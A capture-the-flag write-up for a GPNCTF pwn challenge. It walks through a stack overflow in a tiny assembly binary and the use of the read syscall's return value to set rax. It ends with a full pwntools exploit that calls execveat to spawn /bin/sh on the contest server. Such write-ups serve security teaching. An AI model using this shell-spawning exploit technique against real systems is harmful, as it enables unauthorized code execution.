A gift from the king.

Category: pwn

Solver: t0b1, c0mpb4u3r, nh1729

Flag: GPNCTF{new_stuff_and_constraints_a29kd33}

Writeup

Challenge setup

The challenge consists of an x86_64 assembly file gift.s and supporting Makefile and Dockerfile. We have access to the input and output of the compiled assembly via TCP, the flag is in the file /app/flag.txt

The challenge binary has only two functions and no linked libraries:

.section .text
    .global _start

read_input:
    # Read 314 bytes + 16 free bytes from stdin to the stack
    sub $314, %rsp                # Make room for the input
    mov $0, %rax                  # System call number for read
    mov $0, %rdi                  # File descriptor for stdin
    mov %rsp, %rsi                # Address of the stack
    mov $330, %rdx                # Number of bytes to read
    syscall                       # Call the kernel
    add $314, %rsp                # Restore the stack pointer
    ret

_start:
    # Print the message to stdout
    mov $1, %rax                  # System call number for write
    mov $1, %rdi                  # File descriptor for stdout
    mov $message, %rsi            # Address of the message string
    mov $message_len, %rdx        # Length of the message string
    syscall                       # Call the kernel

    call read_input

    # Exit the program
    mov $60, %rax                 # System call number for exit
    xor %rdi, %rdi                # Exit status 0
    xor %rsi, %rsi                # I like it clean
    xor %rdx, %rdx                # I like it clean
    syscall                       # Call the kernel

message: .asciz "Today is a nice day so you get 16 bytes for free!\n"
message_len = . - message
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable

The read_input can overflow a stack buffer of size 314 with 330 bytes, hence the “16 bytes for free”, setting us up for a 2-pointer ROP chain. Since this is no PIE, we can use gadgets from the tiny binary.

Solution

To read the file, we need to execute some syscalls, either to open the file and sendfile it to stdout, or to read to a buffer and write back to stdout.

To run any syscall other than write and exit, we need to change the rax register to the syscall number, set up the argument registers and return to one of the syscall instructions. Because rax is not popped from the stack, we have to get creative to set it. Stepping through the program in GDB, we see that rax changes after the syscall in read_input. It is not only the syscall number for syscalls but also the return value. Therefore, we can call any syscall by sending its syscall number bytes:

def solve(r: remote, exe: ELF):
    r.send(flat{
        314: exe.sym['read_input']; # Set rax as byte length
        314+8: exe.sym['read_input']+31, # syscall; add rsp, 314; ret
    })
    input('Press enter to send second payload')
    r.send(b'X')    # set rax to 1: SYS_WRITE
    r.interactive()

In GDB we can see that SYS_write was indeed called and we tried to write the buffer back into stdin. We are somewhat restricted in which values we can put into the registers for syscall arguments.

Register Argument # range
rax <syscall number> 1-330
rdi 1 0
rsi 2 rsp (our buffer), we can also walk up the stack
rdx 3 330 (by read_input) or 0 (by __start)
r10 4 0 empirically

Scrolling through the syscall table 1 for X86_64 and looking for syscalls that might accept these parameters and are usefull, we find syscall 322:

       int execveat(int dirfd, const char *pathname,
                    char *const _Nullable argv[],
                    char *const _Nullable envp[],
                    int flags);

DESCRIPTION
       The  execveat()  system  call executes the program referred to by the combination of dirfd and pathname.  It operates in exactly the same way as execve(2), except for the differences described in this manual page.

The arguments argv and envp must be either NULL or valid pointers.

After the read syscall, we already have rax=<len of payload>, rdi=0, rsi=<out buffer> and r10=0. Only rdx=330 is still wrong. Conveniently, the “cleanup” at _start + 0x30 clears it and immediately executes the syscall instruction. Therefore, we just need to place the path to the executable we want to run at the start of out buffer and place _start + 0x30 at the return address, which happens to requre exactly 322 bytes.

Exploit

from pwn import *

BINARY_NAME = './gift'

def solve(r: remote, exe: ELF):
    # SYSCALL(SYS_STUB_EXECVEAT, STDIN, "/bin/sh", NULL, NULL)
    r.send(flat({
            0: '/bin/sh\0',
            314: exe.sym['_start'] + 48, # xor %rdx, %rdx; syscall
        },
        length = 322, # places 322 (SYS_STUB_EXECVEAT) in RAX; This happens to be exactly 314+8
    ))
    r.interactive()

def conn():
    if args.REMOTE:
        r = remote("chained-to-the-rhythm--katy-perry-5393.ctf.kitctf.de", "443", ssl=True)
        # r = remote('localhost', 1337)
    elif args.GDB:
        gdbscript = '''
        c
        '''
        r = gdb.debug(context.binary.path, gdbscript=gdbscript)
    else:
        r = process(context.binary.path,)
    return r


def main():
    exe = ELF(BINARY_NAME)
    exe.address = 0x400000
    context.binary = exe

    r = conn()
    solve(r, exe)
    r.close()


if __name__ == '__main__':
    main()

Other resources